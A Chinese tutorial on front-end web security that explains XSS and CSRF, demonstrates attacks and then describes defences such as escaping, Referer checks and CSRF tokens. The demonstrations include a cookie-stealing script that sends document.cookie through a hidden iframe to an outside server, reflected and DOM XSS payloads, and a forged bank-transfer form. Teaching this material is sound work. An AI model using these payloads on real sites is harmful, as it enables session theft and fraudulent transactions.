前端Web安全——XSS与CSRF

这边主要为大家介绍下前端安全最热门的两个关键词XSS与CSRF

维基百科解释

  • XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
  • CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

直白解释

  • XSS: 通过客户端脚本语言(最常见如:JavaScript)在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS!

    简单的说就是: 攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击

  • CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。

    简单的说就是: 攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击

攻击演示

XSS攻击

  • 登录某论坛,在留言板里写入如下代码
    今天天气不错!
    <script type="text/javascript">
    (function(window, document) {
      // 构造泄露信息用的 URL
      var cookies = document.cookie;
      var xssURIBase = "http://192.168.123.123/myxss/";
      var xssURI = xssURIBase + window.encodeURI(cookies);
      // 建立隐藏 iframe 用于通讯
      var hideFrame = document.createElement("iframe");
      hideFrame.height = 0;
      hideFrame.width = 0;
      hideFrame.style.display = "none";
      hideFrame.src = xssURI;
      // 开工
      document.body.appendChild(hideFrame);
    })(window, document);
    </script>
    
  • 一旦别的用户登录并看到了这个留言,会将携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器,然后服务器的代码就可以接收到了用户的隐私消息,继而继续做其他的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进自己的数据库)。

上述只是xss最简单的实现方式,其主要有一下几类

反射型XSS

反射型XSS,顾名思义在于“反射”这个一来一回的过程。反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞。因此如果要避免反射性XSS,则必须需要后端的协调,在后端解析前端的数据时首先做相关的字串检测和转义处理;同时前端同样也许针对用户的数据做excape转义,保证数据源的可靠性。

e.x.localhost/test.php

<?php echo $_GET['name'] ?>

如果通过

localhost/test.php?name=<script>alert(document.cookie)</script>

访问页面,那么经过后端服务器的处理,就会造成反射性XSS的发生。

同理,通过传入data uri编码的字符串也会导致XSS,如

localhost/test.php?name=data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

会导致同样的问题。该段编码的字串解码后是“<script>alert(document.cookie)</script>”

持久型XSS

持久型XSS仍然需要服务端的参与,它与反射型XSS的区别在于XSS代码是否持久化(硬盘,数据库)。反射型XSS过程中后端服务器仅仅将XSS代码保存在内存中,并为持久化,因此每次触发反射性XSS都需要由用户输入相关的XSS代码;而持久型XSS则仅仅首次输入相关的XSS代码,保存在数据库中,当下次从数据库中获取该数据时在前端未加字串检测和excape转码时,会造成XSS,而且由于该漏洞的隐蔽性和持久型的特点,在多人开发的大型应用和跨应用间的数据获取时造成的大范围的XSS漏洞,危害尤其大。这就需要开发人员培养良好的WEB前端安全意识,不仅仅不能相信用户的输入,也不能完全相信保存在数据库中的数据(即后端开发人员忽视的数据安全检测)。针对持久型XSS没有好的解决方式,只能由开发人员保证。当然规则是由开发者制定,如果忽略用户体验的话,可以制定一套严谨的输入规则,对相关关键词和输入类型(如data URI检测,禁止输入)的检测和禁止,尽可能规避用户发现XSS漏洞的可能性,从源头处理。

DOM XSS DOM XSS完全在前端浏览器触发,无需服务端的参与,因此这是前端开发工程师的“地盘”,理应获得我们的关注。

e.x.localhost/test.html

<script>
eval('alert(location.hash.slice("1"))');
</script>

如果访问localhost/test.html#document.cookie,那么就会触发最简单的危害非常大的DOM XSS。它完全没有服务端的参与,仅仅由用户的输入和不安全的脚本执行造成,当然在本例中仅仅是最简单的情况,如果用户输入字符串‘<script src="http://.../abc.js"></script>’或者text/html格式的data URI,则更难检测,也危害更大,黑客操作起来更为容易。

因此预防DOM XSS,需要前端开发人员警惕用户所有的输入数据,做到数据的excape转义,同时尽可能少的直接输出HTML的内容;不用eval、new Function、setTimeout等较为hack的方式解析外站数据和执行js脚本;禁止内联事件处理函数“”;如果在考虑安全性的前提下需要获取外站脚本的执行结果,可以采用前端沙盒(建立空的iframe执行脚本,该iframe无法操作当前文档对象模型)、worker线程的方式完成,保证DOM的安全。

CSRF攻击

  • 有www.bank.com跟www.hacker.com.用户abc登录www.bank.com网站之后点击了www.hacker.com的点击抽大奖的诱骗链接
  • 此链接会向www.bank.com发起一个post请求.由于请求域名为www.bank.com,所以请求会携带www.bank.com的session id.
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form method="post" action="http://www.bank.com/transfer.php">
    <input type="hidden" name="from" value="abc">
    <input type="hidden" name="money" value="10000">
    <input type="hidden" name="to" value="hacker">
    <input type="button" onclick="submit()" value="点击抽大奖">
</form>
</body>
  • 上述操作加入转账等操作。

预防

XSS攻击预防

XSS漏洞难以检测,但是为了WEB安全仍需要尽力避免,在本节将会针对三种类型XSS漏洞提出对应解决方法,并从其他角度提供更具启发性的意见。

  • 针对反射型XSS,在对应的小节中也提到过,需要服务端和前端共同预防,针对用户输入的数据做解析和转义,对于前端开发而言,则是善于使用escape,针对data URI内容做正则判断,禁止用户输入非显示信息,如MIME类型为“text/html,text/plain”类型的内容。
  • 对于存储型XSS,处理方式仍然类同于反射性XSS。
  • 对于DOM XSS,则需要慎之又慎。由于造成XSS的原因在于用户的输入,因此在前端,需要特别注意以下的用户输入源:

CSRF攻击预防

从上面的例子 可以看到csrf攻击.黑客不能拿到cookie,也没办法对服务器返回的内容进行解析.唯一能做的就是给服务器发送请求.通过发送请求改变服务器中的数据.上面的例子中攻击者诱导用户点击链接进行转账操作,使得银行数据库中受害者的金额发生了改变.

了解了csrf攻击的原理和目标,提出了两种防御手段

referer 验证

根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/transfer.php应该是点击www.bank.com网页的按钮来触发的操作,这个时候转账请求的referer应该是www.bank.com.而如果黑客要进行csrf攻击,只能在自己的网站www.hacker.com上伪造请求.伪造请求的referer是www.hacker.com.所以我们通过对比post请求的referer是不是www.bank.com就可以判断请求是否合法.

这种方式验证比较简单,网站开发者只要在post请求之前检查referer就可以,但是由于referer是由浏览器提供的.虽然http协议有要求不能篡改referer的值.但是一个网站的安全性绝对不能交由其他人员来保证.

 token 验证

从上面的样式可以发现,攻击者伪造了转账的表单,那么网站可以在表单中加入了一个随机的token来验证.token随着其他请求数据一起被提交到服务器.服务器通过验证token的值来判断post请求是否合法.由于攻击者没有办法获取到页面信息,所以它没有办法知道token的值.那么伪造的表单中就没有该token值.服务器就可以判断出这个请求是伪造的.

results matching ""

    No results matching ""